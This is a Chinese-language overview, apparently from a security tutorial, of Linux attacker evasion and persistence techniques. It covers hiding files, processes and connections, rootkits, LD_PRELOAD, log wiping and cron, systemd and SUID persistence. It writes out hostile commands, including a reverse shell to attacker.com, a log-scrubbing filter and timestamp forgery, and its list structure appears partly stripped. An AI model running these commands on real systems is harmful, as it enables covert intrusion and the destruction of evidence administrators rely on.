攻击者通过多种方式使恶意文件规避常规检测:
..、空字符)命名文件/目录,或模仿系统目录名称(如/tmp/.ICE-unix/),避免被ls等工具默认显示。chattr +i命令锁定文件(如chattr +i evil.sh),使文件无法被删除、修改或查看(需lsattr命令查看属性),即使管理员尝试删除也会失败。touch -r命令复制合法文件的时间戳(如touch -r /etc/passwd malicious.sh),使恶意文件与系统文件时间一致,避免因时间差异被怀疑。通过修改系统内核或进程管理工具,使恶意进程在ps、top等工具中“隐形”:
task_struct结构(进程描述符),过滤掉恶意进程的显示(如经典的adore rootkit)。sshd、bash),利用ptrace系统调用附加到目标进程,执行恶意代码后分离,使恶意进程“寄生”在合法进程中(如linux-inject工具)。LD_PRELOAD环境变量,加载恶意共享库(如/tmp/malicious.so),在程序启动时优先执行恶意代码(如隐藏进程、修改函数行为)。避免被netstat、ss、tcpdump等工具检测到恶意网络活动:
bash -i >& /dev/tcp/attacker.com/4444 0>&1),而非等待攻击者连接,绕过防火墙的入站规则。sslh等工具将恶意流量伪装成合法协议(如HTTPS),或绑定到常用端口(如80、443),避免因非常用端口引起怀疑。socket、connect),过滤掉与恶意IP/端口的连接信息,使netstat无法显示。删除或修改系统日志中的痕迹,避免管理员通过日志追踪攻击路径:
rm命令删除/var/log/目录下的日志文件(如utmp、wtmp、lastlog、messages),或用shred命令安全删除(覆盖多次防止恢复)。sed、awk等工具修改日志中的敏感信息(如登录记录、命令执行记录),例如删除包含自身IP的last日志条目(last | grep -v "attacker_ip" > last.tmp && mv last.tmp last)。ls、ps、netstat等命令(如LinuxRootKit),使其跳过恶意文件/进程的显示,同时修改日志生成逻辑,避免记录自身活动。Rootkit是一组工具的集合,提供全面的隐藏功能:
task_struct),过滤掉恶意进程的显示(如knark rootkit的hideproc功能)。open、readdir等系统调用,使ls、find等命令无法列出恶意文件(如adore rootkit的hidefile功能)。socket、accept等系统调用,隐藏恶意网络连接(如sebek rootkit的网络过滤功能)。syslog相关的系统调用,防止日志记录攻击活动(如lrk5 rootkit的loghide功能)。确保攻击痕迹在系统重启后仍存在:
crontab -e添加定时任务(如* * * * * /tmp/malicious.sh),或修改系统级计划任务(如/etc/crontab、/etc/cron.daily/中的脚本),定期执行恶意程序。/etc/rc.local(开机执行)、/etc/init.d/(传统服务)或systemd服务(如ebpf_backdoor.service),实现开机自启。chmod u+s /tmp/malicious.sh),使普通用户执行时获得root权限,便于长期驻留系统。